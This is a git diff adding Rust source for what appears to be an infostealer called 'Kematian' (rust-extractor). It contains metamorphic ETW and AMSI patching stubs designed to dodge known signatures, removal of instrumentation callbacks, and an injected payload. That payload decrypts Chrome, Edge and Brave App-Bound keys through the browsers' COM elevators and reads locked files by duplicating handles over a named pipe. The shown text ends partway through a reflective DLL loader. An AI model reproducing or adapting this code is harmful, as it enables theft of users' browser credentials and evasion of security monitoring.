re-patch from the stored originals). +pub unsafe fn suspend_all() { + for i in 0..SITES.len() { + let s = &SITES[i]; + if s.active && s.addr != 0 { + let mut base = s.addr as *mut c_void; + let mut size = s.len; + let mut old: u32 = 0; + if syscall::sys_nt_protect_virtual_memory( + abi_current_process(), &mut base, &mut size, + PAGE_EXECUTE_READWRITE, &mut old, + ) == 0 + { + ptr::copy_nonoverlapping(s.original.as_ptr(), s.addr as *mut u8, s.len); + let mut tmp: u32 = 0; + let _ = syscall::sys_nt_protect_virtual_memory( + abi_current_process(), &mut base, &mut size, + old.max(PAGE_EXECUTE_READ), &mut tmp, + ); + flush_icache(s.addr, s.len); + SITES[i].active = false; + } + } + } +} + +/// Re-apply the recorded patches after waking from sleep. Reuses the stored +/// pristine snapshots (sites matched by address in find_or_alloc_site), so +/// each patch lands on its original bytes and stays restorable. +pub unsafe fn resume_all() { + apply_saved(); +} + +/// Re-runs the individual patchers; each finds its existing site by address. +fn apply_saved() { + unsafe { + let _ = patch_etw_saved(); + let _ = patch_etw_deep_saved(); + let _ = patch_amsi_saved(); + let _ = patch_amsi_opensession_saved(); + } +} + +// --------------------------------------------------------------------------- +// Metamorphic stub selection +// --------------------------------------------------------------------------- + +/// Per-build variant index derived from gen constants (not the function's own +/// address so the choice is stable across a single artifact but unique per +/// build). +fn variant(a: u32) -> usize { + let v = gen::JUNK_VARIANT as u32; + let t = (gen::OPAQUE_TAG as u32).wrapping_mul(0x9E37_79B9); + (v.wrapping_add(t >> 24) % a) as usize +} + +// --------------------------------------------------------------------------- +// 1. ETW patch — EtwEventWrite (primary) +// --------------------------------------------------------------------------- + +/// Metamorphic no-op stubs for EtwEventWrite — all return STATUS_SUCCESS(0) +/// and are 3-7 bytes of genuinely different encodings. +fn etw_event_write_stub() -> &'static [u8] { + match variant(6) { + 0 => &[0x33, 0xC0, 0xC3], // xor eax,eax ; ret + 1 => &[0x31, 0xC0, 0xC3], // xor eax,eax (alt) ; ret + 2 => &[0x48, 0x31, 0xC0, 0xC3], // xor rax,rax ; ret + 3 => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], // mov eax,0 ; ret + 4 => &[0x33, 0xC0, 0x90, 0xC3], // xor eax,eax ; nop ; ret + _ => &[0x55, 0x48, 0x89, 0xE5, 0x31, 0xC0, 0x5D, 0xC3], // push rbp; mov rbp,rsp; xor eax,eax; pop rbp; ret + } +} + +/// Metamorphic stubs for EtwEventEnabled — return FALSE(0). +fn etw_event_enabled_stub() -> &'static [u8] { + match variant(4) { + 0 => &[0x33, 0xC0, 0xC3], + 1 => &[0x31, 0xC0, 0xC3], + 2 => &[0x48, 0x31, 0xC0, 0xC3], + _ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], + } +} + +fn etw_register_stub() -> &'static [u8] { + match variant(3) { + 0 => &[0x33, 0xC0, 0xC3], + 1 => &[0x31, 0xC0, 0xC3], + _ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], + } +} + +/// Patch ntdll!EtwEventWrite → polymorphic no-op. +pub fn patch_etw() -> bool { + unsafe { patch_etw_saved() } +} + +unsafe fn patch_etw_saved() -> bool { + let ntdll = apires::ntdll_base(); + if ntdll == 0 { + return false; + } + let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_WRITE)); + if target == 0 { + return false; + } + patch_memory(target, etw_event_write_stub(), true) +} + +/// Patch ntdll!EtwEventEnabled → returns FALSE, so every provider's +/// "is this enabled?" check fails and the fast-path skips emission. +pub fn patch_etw_eventenabled() -> bool { + unsafe { + let ntdll = apires::ntdll_base(); + if ntdll == 0 { + return false; + } + let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_ENABLED)); + if target == 0 { + return false; + } + patch_memory(target, etw_event_enabled_stub(), true) + } +} + +/// Deeper ETW cut: NtTraceEvent + EtwEventRegister. +pub fn patch_etw_deep() -> bool { + unsafe { patch_etw_deep_saved() } +} + +unsafe fn patch_etw_deep_saved() -> bool { + let ntdll = apires::ntdll_base(); + if ntdll == 0 { + return false; + } + let mut ok = true; + let trace = apires::export_by_hash_public(ntdll, unmask(HASH_NTTRACE_EVENT)); + if trace != 0 { + ok &= patch_memory(trace, etw_event_write_stub(), true); + } + let reg = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_REGISTER)); + if reg != 0 { + ok &= patch_memory(reg, etw_register_stub(), true); + } + ok +} + +// --------------------------------------------------------------------------- +// 2. AMSI patch +// --------------------------------------------------------------------------- + +/// Metamorphic AmsiScanBuffer stubs: write AMSI_RESULT_CLEAN(0) into arg6 +/// (result ptr at [rsp+0x30]) and return S_OK(0). Each variant uses distinct +/// registers/encodings so no published signature matches the patch bytes. +fn amsi_scan_stub() -> &'static [u8] { + // Deliberately avoids the classic published 14-byte stub + // (`31 C0 49 8B 5C 24 30 45 31 DB 45 89 1B C3`) — that exact byte run is a + // documented AMSI-patch signature. Every variant here uses a different + // register/encoding so no artifact ships a known-signature byte sequence. + match variant(5) { + 0 => &[ + 0x48, 0x8B, 0x4C, 0x24, 0x30, // mov rcx,[rsp+0x30] result ptr + 0x33, 0xC0, // xor eax,eax S_OK + 0x89, 0x01, // mov [rcx],eax CLEAN(0) + 0xC3, + ], + 1 => &[ + 0x33, 0xC0, // xor eax,eax + 0x49, 0x8B, 0x54, 0x24, 0x30, // mov r10,[rsp+0x30] + 0x41, 0x89, 0x02, // mov [r10],eax + 0xC3, + ], + 2 => &[ + 0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax,0 + 0x48, 0x8B, 0x54, 0x24, 0x30, // mov rdx,[rsp+0x30] + 0x89, 0x02, // mov [rdx],eax + 0xC3, + ], + 3 => &[ + 0x31, 0xC0, // xor eax,eax + 0x4C, 0x8B, 0x44, 0x24, 0x30, // mov r8,[rsp+0x30] + 0x89, 0x00, // mov [r8],eax + 0xC3, + ], + _ => &[ + 0x31, 0xC0, // xor eax,eax + 0x48, 0x8B, 0x94, 0x24, 0x30, 0x00, 0x00, 0x00, // mov rdx,[rsp+0x30] (SIB/disp enc) + 0x89, 0x02, // mov [rdx],eax + 0xC3, + ], + } +} + +/// AmsiOpenSession → E_AMSI_NOT_INITIALIZED. Sessions fail to open, so even +/// hosts that route scans through session-based APIs report nothing. +fn amsi_open_session_stub() -> &'static [u8] { + // All variants return a FAILING HRESULT (high bit set) so script hosts + // treat the session-open as failed. Never return a positive status — that + // is interpreted as SUCCESS and the patch silently no-ops. + match variant(3) { + 0 => &[0xB8, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov eax, 0x80020011 (E_AMSI_NOT_INITIALIZED) ; ret + 1 => &[0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3], // mov eax, 0x80070057 (E_INVALIDARG) ; ret + _ => &[0x48, 0xC7, 0xC0, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov rax, 0x80020011 ; ret (distinct enc) + } +} + +/// Patch amsi.dll!AmsiScanBuffer so every scan reports AMSI_RESULT_CLEAN. +pub fn patch_amsi() -> bool { + unsafe { patch_amsi_saved() } +} + +unsafe fn patch_amsi_saved() -> bool { + let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI)); + if amsi == 0 { + return false; // amsi.dll not loaded in this host — nothing to do + } + let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_SCAN_BUFFER)); + if target == 0 { + return false; + } + patch_memory(target, amsi_scan_stub(), true) +} + +/// Patch amsi.dll!AmsiOpenSession to fail (defense-in-depth). +pub fn patch_amsi_opensession() -> bool { + unsafe { patch_amsi_opensession_saved() } +} + +unsafe fn patch_amsi_opensession_saved() -> bool { + let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI)); + if amsi == 0 { + return false; + } + let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_OPEN_SESSION)); + if target == 0 { + return false; + } + patch_memory(target, amsi_open_session_stub(), true) +} + +// --------------------------------------------------------------------------- +// 3. Instrumentation-callback bypass +// --------------------------------------------------------------------------- + +const PROCESS_INSTRUMENTATION_CALLBACK: u32 = 40; + +/// Query the current instrumentation callback (if any monitor installed one). +unsafe fn query_instrumentation_callback() -> usize { + let mut cb: usize = 0; + let st = syscall::sys_nt_query_information_process( + abi_current_process(), + PROCESS_INSTRUMENTATION_CALLBACK, + (&mut cb) as *mut usize as *mut c_void, + core::mem::size_of::() as u32, + ptr::null_mut(), + ); + if st != 0 { + return 0; + } + cb +} + +/// Clear any externally-registered instrumentation callback. +pub fn clear_instrumentation_callback() -> bool { + unsafe { + let existing = query_instrumentation_callback(); + if existing == 0 { + return true; + } + let zero: usize = 0; + let st = syscall::sys_nt_set_information_process( + abi_current_process(), + PROCESS_INSTRUMENTATION_CALLBACK, + (&zero) as *const usize as *mut c_void, + core::mem::size_of::() as u32, + ); + st == 0 + } +} + +// --------------------------------------------------------------------------- +// Orchestration +// --------------------------------------------------------------------------- + +/// Apply the full patch set. Returns bitmask: +/// bit0=ETW bit1=AMSI bit2=InstrCb bit3=deepETW bit4=EventEnabled bit5=OpenSession +pub fn apply_all() -> u32 { + let seed = flow::run_time_nonce(); + let mut done: u32 = 0; + + // ETW + AMSI primary, opaque order. + if flow::opaque_true(seed ^ gen::CFF_KEY) { + flow::junk_complex(seed); + if patch_etw() { done |= 1; } + if patch_amsi() { done |= 2; } + } else { + flow::junk(); + if patch_amsi() { done |= 2; } + if patch_etw() { done |= 1; } + } + + // Secondary layers. + if patch_etw_eventenabled() { done |= 16; } + if patch_amsi_opensession() { done |= 32; } + + if clear_instrumentation_callback() { done |= 4; } + + // Deep ETW only once the primary landed. + if done & 1 != 0 && patch_etw_deep() { + done |= 8; + } + + done +} diff --git a/Kematian-Standalone/rust-extractor/src/payload.rs b/Kematian-Standalone/rust-extractor/src/payload.rs new file mode 100644 index 0000000..e0c1e1f --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/payload.rs @@ -0,0 +1,628 @@ +//! Injected-payload logic, ported from key_extractor.cpp. +//! +//! On attach the payload reads the pipe name from the `RECOVERY_PIPE` +//! environment variable and spawns a worker thread that services a length- +//! prefixed protocol: `KEY:browser:base64` (App-Bound/v20 key decryption via +//! the browser's COM elevator) and `READ:path` (read a file, transparently +//! duplicating the owning process's open handle on a sharing violation). + +use core::ffi::c_void; +use core::ptr; + +use crate::abi::{self, GUID}; +use crate::gen; +use crate::obf; + +const MAX_MSG: u32 = 16384; +const MAX_FILE: u32 = 50 * 1024 * 1024; // 50MB +const ENV_BUF: u32 = 512; +const PATH_BUF: usize = 32768; + +/// Runtime-decrypt a compile-time obfuscated byte signature into a Vec. +fn dec_bytes(key: u8, slot: &(obf::Slot, u32), len: usize) -> Vec { + let raw = obf::dec_sig(key, slot, len); + raw[..len.min(obf::MAX_LEN)].to_vec() +} + +// --------------------------------------------------------------------------- +// Protocol / identity strings — kept out of `.rodata` as plaintext. +// --------------------------------------------------------------------------- + +fn proto_key() -> Vec { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8001, b"KEY:"), 4) } +fn proto_read() -> Vec { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8002, b"READ:"), 5) } +fn proto_exit() -> Vec { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8003, b"EXIT"), 4) } +fn env_pipe_name() -> Vec { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8004, b"RECOVERY_PIPE"), 13) } + +// ---- OVERLAPPED (x64 layout) ---- + +#[repr(C)] +#[derive(Clone, Copy)] +struct Overlapped { + internal: usize, + internal_high: usize, + offset: u32, + offset_high: u32, + h_event: usize, +} + +impl Overlapped { + fn zeroed() -> Self { + Overlapped { + internal: 0, + internal_high: 0, + offset: 0, + offset_high: 0, + h_event: 0, + } + } +} + +// ---- base64 decode (standard, padded) ---- + +fn b64_val(c: u8) -> i32 { + match c { + b'A'..=b'Z' => (c - b'A') as i32, + b'a'..=b'z' => (c - b'a' + 26) as i32, + b'0'..=b'9' => (c - b'0' + 52) as i32, + b'+' => 62, + b'/' => 63, + _ => -1, + } +} + +fn base64_decode(s: &[u8]) -> Vec { + let mut out = Vec::new(); + let mut acc: u32 = 0; + let mut bits: u32 = 0; + for &c in s { + if c == b'=' { + break; + } + let v = b64_val(c); + if v < 0 { + continue; + } + acc = (acc << 6) | v as u32; + bits += 6; + if bits >= 8 { + bits -= 8; + out.push((acc >> bits) as u8); + } + } + out +} + +// ---- wide / utf helpers ---- + +fn utf8_to_wide(bytes: &[u8]) -> Vec { + let s = String::from_utf8_lossy(bytes); + let mut v: Vec = s.encode_utf16().collect(); + v.push(0); + v +} + +fn ascii_eq_ignore_case(a: &[u8], b: &[u8]) -> bool { + if a.len() != b.len() { + return false; + } + a.iter().zip(b.iter()).all(|(&x, &y)| x.to_ascii_lowercase() == y.to_ascii_lowercase()) +} + +/// Case-sensitive wide substring search (matches the C `wcsstr` behavior). +fn wide_contains(haystack: &[u16], needle: &[u16]) -> bool { + if needle.is_empty() { + return true; + } + if haystack.len() < needle.len() { + return false; + } + (0..=haystack.len() - needle.len()).any(|i| &haystack[i..i + needle.len()] == needle) +} + +// ---- pipe helpers ---- + +unsafe fn pipe_read_exact(h: usize, buf: *mut u8, len: u32) -> bool { + let mut off = 0u32; + while off < len { + let mut rd = 0u32; + let ok = abi::ReadFile( + h, + buf.add(off as usize) as *mut c_void, + len - off, + &mut rd, + ptr::null_mut(), + ); + if ok == 0 || rd == 0 { + return false; + } + off += rd; + } + true +} + +unsafe fn pipe_write_all(h: usize, buf: *const u8, len: u32) -> bool { + let mut off = 0u32; + while off < len { + let mut wr = 0u32; + let ok = abi::WriteFile( + h, + buf.add(off as usize) as *const c_void, + len - off, + &mut wr, + ptr::null_mut(), + ); + if ok == 0 || wr == 0 { + return false; + } + off += wr; + } + true +} + +unsafe fn send_response(h: usize, status: u8, data: &[u8]) -> bool { + let total = 1u32 + data.len() as u32; + let len_bytes = total.to_le_bytes(); + if !pipe_write_all(h, len_bytes.as_ptr(), 4) { + return false; + } + if !pipe_write_all(h, &status as *const u8, 1) { + return false; + } + if !data.is_empty() && !pipe_write_all(h, data.as_ptr(), data.len() as u32) { + return false; + } + abi::FlushFileBuffers(h); + true +} + +// ---- COM elevator (IElevator / IEdgeElevator) ---- + +// Chrome/Brave: IUnknown + RunRecoveryCRXElevated + EncryptData + DecryptData +#[repr(C)] +struct IElevatorVtbl { + query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32, + add_ref: unsafe extern "system" fn(*mut c_void) -> u32, + release: unsafe extern "system" fn(*mut c_void) -> u32, + run_recovery_crx_elevated: unsafe extern "system" fn( + *mut c_void, + *const u16, + *const u16, + *const u16, + *const u16, + u32, + *mut usize, + ) -> i32, + encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32, + decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32, +} + +// Edge: IUnknown + 3 base methods + RunRecoveryCRXElevated + EncryptData + DecryptData +#[repr(C)] +struct IEdgeElevatorVtbl { + query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32, + add_ref: unsafe extern "system" fn(*mut c_void) -> u32, + release: unsafe extern "system" fn(*mut c_void) -> u32, + edge_method1: unsafe extern "system" fn(*mut c_void) -> i32, + edge_method2: unsafe extern "system" fn(*mut c_void) -> i32, + edge_method3: unsafe extern "system" fn(*mut c_void) -> i32, + run_recovery_crx_elevated: unsafe extern "system" fn( + *mut c_void, + *const u16, + *const u16, + *const u16, + *const u16, + u32, + *mut usize, + ) -> i32, + encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32, + decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32, +} + +const CLSID_CHROME: GUID = GUID { + data1: 0x708860E0, + data2: 0xF641, + data3: 0x4611, + data4: [0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B], +}; +const IID_CHROME: GUID = GUID { + data1: 0x463ABECF, + data2: 0x410D, + data3: 0x407F, + data4: [0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8], +}; +const IID_CHROME2: GUID = GUID { + data1: 0x1BF5208B, + data2: 0x295F, + data3: 0x4992, + data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38], +}; + +const CLSID_EDGE: GUID = GUID { + data1: 0x1FCBE96C, + data2: 0x1697, + data3: 0x43AF, + data4: [0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67], +}; +const IID_EDGE: GUID = GUID { + data1: 0xC9C2B807, + data2: 0x7731, + data3: 0x4F34, + data4: [0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B], +}; +const IID_EDGE2: GUID = GUID { + data1: 0x8F7B6792, + data2: 0x784D, + data3: 0x4047, + data4: [0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05], +}; + +const CLSID_BRAVE: GUID = GUID { + data1: 0x576B31AF, + data2: 0x6369, + data3: 0x4B6B, + data4: [0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B], +}; +const IID_BRAVE: GUID = GUID { + data1: 0xF396861E, + data2: 0x0C8E, + data3: 0x4C71, + data4: [0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9], +}; +const IID_BRAVE2: GUID = GUID { + data1: 0x1BF5208B, + data2: 0x295F, + data3: 0x4992, + data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38], +}; + +const COLE_DEFAULT_PRINCIPAL: *mut u16 = usize::MAX as *mut u16; + +unsafe fn set_proxy_blanket(ptr: *mut c_void) { + abi::CoSetProxyBlanket( + ptr, + abi::RPC_C_AUTHN_DEFAULT, + abi::RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, + abi::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + abi::RPC_C_IMP_LEVEL_IMPERSONATE, + ptr::null_mut(), + abi::EOAC_DYNAMIC_CLOAKING, + ); +} + +unsafe fn decrypt_chrome( + clsid: GUID, + iid: GUID, + iid2: GUID, + bstr: *mut u16, + out: *mut *mut u16, + err: *mut u32, +) -> i32 { + let mut ptr: *mut c_void = ptr::null_mut(); + let mut hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid2, &mut ptr); + if hr < 0 { + hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid, &mut ptr); + } + if hr < 0 || ptr.is_null() { + return hr; + } + set_proxy_blanket(ptr); + let vtbl = *(ptr as *const *const IElevatorVtbl); + hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err); + ((*vtbl).release)(ptr); + hr +} + +unsafe fn decrypt_edge(bstr: *mut u16, out: *mut *mut u16, err: *mut u32) -> i32 { + // Try IEdgeElevator2 first, then IEdgeElevator (same vtable layout). + let mut ptr: *mut c_void = ptr::null_mut(); + let mut hr = abi::CoCreateInstance( + &CLSID_EDGE, + ptr::null_mut(), + abi::CLSCTX_LOCAL_SERVER, + &IID_EDGE2, + &mut ptr, + ); + if hr >= 0 && !ptr.is_null() { + set_proxy_blanket(ptr); + let vtbl = *(ptr as *const *const IEdgeElevatorVtbl); + hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err); + ((*vtbl).release)(ptr); + if hr >= 0 && !(*out).is_null() { + return hr; + } + } + + ptr = ptr::null_mut(); + hr = abi::CoCreateInstance( + &CLSID_EDGE, + ptr::null_mut(), + abi::CLSCTX_LOCAL_SERVER, + &IID_EDGE, + &mut ptr, + ); + if hr < 0 || ptr.is_null() { + return hr; + } + set_proxy_blanket(ptr); + let vtbl = *(ptr as *const *const IEdgeElevatorVtbl); + hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err); + ((*vtbl).release)(ptr); + hr +} + +fn decrypt_via_elevator(enc: &[u8], browser: &[u8]) -> Option> { + unsafe { + let hr = abi::CoInitializeEx(ptr::null_mut(), abi::COINIT_APARTMENTTHREADED); + if hr < 0 && hr != abi::RPC_E_CHANGED_MODE { + return None; + } + + let bstr_enc = abi::SysAllocStringByteLen(enc.as_ptr(), enc.len() as u32); + if bstr_enc.is_null() { + abi::CoUninitialize(); + return None; + } + + let mut bstr_plain: *mut u16 = ptr::null_mut(); + let mut com_err: u32 = 0; + + let hr2 = if ascii_eq_ignore_case(browser, b"edge") { + decrypt_edge(bstr_enc, &mut bstr_plain, &mut com_err) + } else if ascii_eq_ignore_case(browser, b"brave") { + decrypt_chrome(CLSID_BRAVE, IID_BRAVE, IID_BRAVE2, bstr_enc, &mut bstr_plain, &mut com_err) + } else { + decrypt_chrome(CLSID_CHROME, IID_CHROME, IID_CHROME2, bstr_enc, &mut bstr_plain, &mut com_err) + }; + + abi::SysFreeString(bstr_enc); + + let result = if hr2 >= 0 && !bstr_plain.is_null() { + let len = abi::SysStringByteLen(bstr_plain); + if len > 0 && len <= 64 { + let mut key = vec![0u8; len as usize]; + ptr::copy_nonoverlapping(bstr_plain as *const u8, key.as_mut_ptr(), len as usize); + Some(key) + } else { + None + } + } else { + None + }; + + if !bstr_plain.is_null() { + abi::SysFreeString(bstr_plain); + } + abi::CoUninitialize(); + result + } +} + +// ---- READ handler ---- + +/// Brute-force the owning process's open file handle by walking handle values +/// and matching the DOS path (ported from `find_open_handle`). +unsafe fn find_open_handle(target_path: &[u16]) -> usize { + let mut sep_count = 0; + let mut suffix_start = 0usize; + let mut i = target_path.len(); + while i > 0 && sep_count < 2 { + i -= 1; + if target_path[i] == b'\\' as u16 { + sep_count += 1; + if sep_count == 2 { + suffix_start = i; + } + } + } + let suffix = &target_path[suffix_start..]; + + let mut h = 4usize; + while h < 0x10000 { + if abi::GetFileType(h) == abi::FILE_TYPE_DISK { + let mut name = [0u16; PATH_BUF]; + let len = abi::GetFinalPathNameByHandleW(h, name.as_mut_ptr(), PATH_BUF as u32, 0); + if len > 0 && (len as usize) < PATH_BUF { + let slice = &name[..len as usize]; + if wide_contains(slice, suffix) { + let mut dup = 0usize; + if abi::DuplicateHandle( + abi::GetCurrentProcess(), + h, + abi::GetCurrentProcess(), + &mut dup, + 0, + 0, + abi::DUPLICATE_SAME_ACCESS, + ) != 0 + { + return dup; + } + } + } + } + h += 4; + } + abi::INVALID_HANDLE_VALUE +} + +unsafe fn handle_read(h: usize, utf8path: &[u8]) { + let wide = utf8_to_wide(utf8path); + let mut hfile = abi::CreateFileW( + wide.as_ptr(), + abi::GENERIC_READ, + abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE, + ptr::null_mut(), + abi::OPEN_EXISTING, + abi::FILE_ATTRIBUTE_NORMAL, + 0, + ); + + let mut via_dup = false; + if hfile == abi::INVALID_HANDLE_VALUE && abi::GetLastError() == abi::ERROR_SHARING_VIOLATION { + hfile = find_open_handle(&wide[..wide.len() - 1]); + via_dup = true; + } + + if hfile == abi::INVALID_HANDLE_VALUE { + send_response(h, 1, b"open failed"); + return; + } + + let size = abi::GetFileSize(hfile, ptr::null_mut()); + if size == abi::INVALID_FILE_SIZE || size > MAX_FILE { + abi::CloseHandle(hfile); + send_response(h, 1, b"bad size"); + return; + } + + let mut data = vec![0u8; size as usize]; + let mut rd = 0u32; + let ok = if via_dup { + let mut ov = Overlapped::zeroed(); + abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, &mut ov as *mut Overlapped as *mut c_void) != 0 + && rd == size + } else { + abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, ptr::null_mut()) != 0 + && rd == size + }; + abi::CloseHandle(hfile); + + if ok { + send_response(h, 0, &data); + } else if via_dup { + send_response(h, 1, b"dup read fail"); + } else { + send_response(h, 1, b"read fail"); + } +} + +// ---- KEY handler ---- + +unsafe fn handle_key(h: usize, args: &[u8]) { + let Some(pos) = args.iter().position(|&c| c == b':') else { + send_response(h, 1, b"bad format"); + return; + }; + let (browser, b64) = args.split_at(pos); + let enc = base64_decode(&b64[1..]); + if enc.len() < 5 { + send_response(h, 1, b"small key"); + return; + } + match decrypt_via_elevator(&enc, browser) { + Some(key) => { + send_response(h, 0, &key); + } + None => { + send_response(h, 1, b"decrypt failed"); + } + } +} + +// ---- worker thread ---- + +unsafe fn worker(pipe: &[u16]) -> u32 { + let h = abi::CreateFileW( + pipe.as_ptr(), + abi::GENERIC_READ | abi::GENERIC_WRITE, + 0, + ptr::null_mut(), + abi::OPEN_EXISTING, + 0, + 0, + ); + if h == abi::INVALID_HANDLE_VALUE { + return 1; + } + + loop { + let mut msg_len: u32 = 0; + if !pipe_read_exact(h, &mut msg_len as *mut u32 as *mut u8, 4) + || msg_len == 0 + || msg_len > MAX_MSG + { + break; + } + let mut msg = vec![0u8; msg_len as usize]; + if !pipe_read_exact(h, msg.as_mut_ptr(), msg_len) { + break; + } + + let pkey = proto_key(); + let pread = proto_read(); + let pexit = proto_exit(); + + if msg.len() >= pkey.len() && &msg[..pkey.len()] == pkey.as_slice() { + handle_key(h, &msg[pkey.len()..]); + } else if msg.len() >= pread.len() && &msg[..pread.len()] == pread.as_slice() { + handle_read(h, &msg[pread.len()..]); + } else if msg.len() >= pexit.len() && &msg[..pexit.len()] == pexit.as_slice() { + break; + } else { + send_response(h, 1, b"unknown"); + } + } + + abi::CloseHandle(h); + 0 +} + +fn read_env_wide(name: &str) -> Option> { + let mut name_w: Vec = name.encode_utf16().collect(); + name_w.push(0); + let mut buf = vec![0u16; ENV_BUF as usize]; + unsafe { + let len = abi::GetEnvironmentVariableW(name_w.as_ptr(), buf.as_mut_ptr(), ENV_BUF); + if len == 0 || len >= ENV_BUF { + return None; + } + buf.truncate(len as usize); + Some(buf) + } +} + +/// Read a NUL-terminated UTF-16 string from a pointer (the pipe name passed +/// through lpParameter by the injector). +fn read_wide_from_ptr(p: *const u16) -> Option> { + if p.is_null() { + return None; + } + let mut v = Vec::new(); + let mut i = 0usize; + unsafe { + loop { + let c = *p.add(i); + if c == 0 { + break; + } + v.push(c); + i += 1; + if i > 4096 { + return None; + } + } + } + if v.is_empty() { + None + } else { + Some(v) + } +} + +pub fn on_attach(lp_param: *const u16) { + // Prefer the pipe name passed in memory by the injector (works for running + // browsers); fall back to the inherited env var for spawned headless ones. + let env_name = env_pipe_name(); + let env_name_str: String = String::from_utf8_lossy(&env_name).into_owned(); + let pipe = read_wide_from_ptr(lp_param) + .or_else(|| read_env_wide(&env_name_str)); + if let Some(pipe) = pipe { + let mut p = pipe; + p.push(0); + let _ = std::thread::Builder::new() + .spawn(move || unsafe { + worker(&p); + }); + } +} diff --git a/Kematian-Standalone/rust-extractor/src/reflective.rs b/Kematian-Standalone/rust-extractor/src/reflective.rs new file mode 100644 index 0000000..44025ce --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/reflective.rs @@ -0,0 +1,478 @@ +//! Position-independent reflective loader, pure Rust (no C). +//! +//! This is a direct port of the Harmony Security `ReflectiveLoader` approach. +//! The injection stubs copy this DLL's raw bytes into a remote process and +//! start a thread on the exported `ReflectiveLoader` entry. When that thread +//! begins, the copied image is *not* relocated and its imports are *not* +//! resolved, so this function must be position independent end to end: +//! +//! - It never reads relocatable data. All image structures are reached by +//! computing addresses at runtime and reading with volatile scalar loads. +//! - It resolves `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`, +//! `NtFlushInstructionCache` and `RtlAddFunctionTable` by walking the PEB +//! module list and export tables by hand. Module names are matched by a +//! rotate hash of *immediate* constants — never through `.rodata` string +//! literals, because a RIP-relative load into the file-offset-mapped raw +//! copy would read the wrong bytes until the image has been relocated. +//! - It copies the image into a fresh RWX allocation, fixes up imports, +//! applies relocations, registers `.pdata` for exception unwinding and +//! finally invokes the DLL's entry point. +//! +//! All loops use `wrapping_*` arithmetic and every memory access is volatile +//! so the compiler cannot lower any access to a `memcpy`/`memset` libcall or +//! introduce a panic edge (both would route through a not-yet-loaded IAT or +//! unwinder). + +use core::arch::asm; + +const MEM_RESERVE_COMMIT: u32 = 0x0000_3000; +const PAGE_EXECUTE_READWRITE: u32 = 0x40; +const DLL_PROCESS_ATTACH: u32 = 1; + +// rotate-right-by-1 hashes of the names the loader resolves. +// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks +// constant-folding) so the raw loader hashes never appear in the binary. +const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A; + +#[inline(always)] +fn r(h: u32) -> u32 { + h ^ core::hint::black_box(HASH_KEY) +} + +const KERNEL32_HASH: u32 = 0xC3A0_008F ^ HASH_KEY; +const NTDLL_HASH: u32 = 0xE600_0091 ^ HASH_KEY; +const LOADLIBRARYA_HASH: u32 = 0x8DC0_0093 ^ HASH_KEY; +const GETPROCADDRESS_HASH: u32 = 0x8708_00A0 ^ HASH_KEY; +const VIRTUALALLOC_HASH: u32 = 0xB800_008F ^ HASH_KEY; +const NTFLUSH_HASH: u32 = 0xED3A_788A ^ HASH_KEY; + +type LoadLibraryFn = unsafe extern "system" fn(name: *const u8) -> usize; +type GetProcAddressFn = unsafe extern "system" fn(module: usize, name: *const u8) -> usize; +type VirtualAllocFn = unsafe extern "system" fn( + addr: usize, + size: usize, + allocation_type: u32, + protect: u32, +) -> usize; +type NtFlushFn = unsafe extern "system" fn(handle: isize, base: usize, len: usize) -> i32; +type RtlAddFunctionTableFn = unsafe extern 